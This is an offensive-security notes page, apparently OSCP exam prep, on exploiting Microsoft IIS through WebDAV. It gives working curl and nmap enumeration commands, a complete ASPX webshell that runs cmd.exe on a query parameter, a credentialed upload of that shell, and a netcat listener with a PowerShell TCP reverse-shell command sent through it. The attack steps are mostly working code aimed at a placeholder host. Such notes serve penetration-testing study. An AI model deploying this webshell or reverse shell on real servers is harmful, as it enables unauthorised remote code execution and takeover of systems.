Howlsec
HOWLSEC
offensive security
// notes/ Web Exploitation
🪟

IIS Enumeration & WebDAV

Fingerprint IIS, detect WebDAV, upload an ASPX shell, escalate to a reverse shell, and check misconfigs.

#web#iis#webdav#aspx#windows
source · airouboss/oscp-prep-notes-2026 · web/iis-enumeration.md ↗

IIS Enumeration & WebDAV Exploitation

Microsoft IIS hosts .aspx apps and often exposes WebDAV. The path to RCE: fingerprint, detect WebDAV, find an uploadable+executable type, drop an ASPX shell, then upgrade to a reverse shell.

Fingerprint

🐺 howlsec@kali
$curl -I http://MACHINE_IP                 # banner grab
$ 
$# WebDAV detection
$curl -X OPTIONS http://MACHINE_IP -sv 2>&1 | grep -E "Allow:|DAV:"
$curl -X OPTIONS http://MACHINE_IP/webdav -sv 2>&1 | grep -E "Allow:|DAV:"
$ 
$# What can be uploaded AND executed?
$curl -s -o /dev/null -w "PUT aspx: %{http_code}\n" -X PUT --data '<%@ Page Language=Jscript%><%Response.Write(1+1)%>' http://MACHINE_IP/webdav/test.aspx

IIS short-name scan

🐺 howlsec@kali
$python3 iis_shortname_scan.py http://MACHINE_IP/
$curl http://MACHINE_IP/BackupFiles/
$curl http://MACHINE_IP/BackupFiles/webdav_notes.txt

Upload an ASPX webshell over WebDAV

🐺 howlsec@kali
01// cmd.aspx
02<%@ Page Language="C#" %>
03<%
04  string cmd = Request.QueryString["cmd"];
05  if (!string.IsNullOrEmpty(cmd)) {
06    var proc = new System.Diagnostics.Process();
07    proc.StartInfo.FileName = "cmd.exe";
08    proc.StartInfo.Arguments = "/c " + cmd;
09    proc.StartInfo.UseShellExecute = false;
10    proc.StartInfo.RedirectStandardOutput = true;
11    proc.Start();
12    Response.Write("<pre>" + proc.StandardOutput.ReadToEnd() + "</pre>");
13  }
14%>
🐺 howlsec@kali
$curl -v --ntlm -u 'webdav_user:P@ssw0rd!123' -T cmd.aspx http://MACHINE_IP/webdav/cmd.aspx
$ 
$# Confirm execution
$curl "http://MACHINE_IP/webdav/cmd.aspx?cmd=whoami"
$curl "http://MACHINE_IP/webdav/cmd.aspx?cmd=ipconfig"
$curl "http://MACHINE_IP/webdav/cmd.aspx?cmd=dir+C:\\"

Escalate to a reverse shell

🐺 howlsec@kali
$nc -lvnp 443
$# URL-encode a PowerShell TCP reverse shell and pass it as ?cmd=
$curl -G "http://MACHINE_IP/webdav/cmd.aspx" --data-urlencode 'cmd=powershell -NoP -NonI -W Hidden -Exec Bypass -c "$client = New-Object System.Net.Sockets.TCPClient(...)"'

Common IIS misconfigurations to check

Directory listing (/uploads/), unauthenticated PUT/DELETE (OPTIONS → Allow:), exposed web.config, leftover trace.axd, TRACE method enabled, and an app pool running as a privileged account (whoami returns high-priv).

🐺 howlsec@kali
$nmap --script http-methods -p 80 MACHINE_IP
$nmap --script http-webdav-scan -p 80 MACHINE_IP
$nmap --script http-ntlm-info --script-args http-ntlm-info.root=/webdav/ -p 80 MACHINE_IP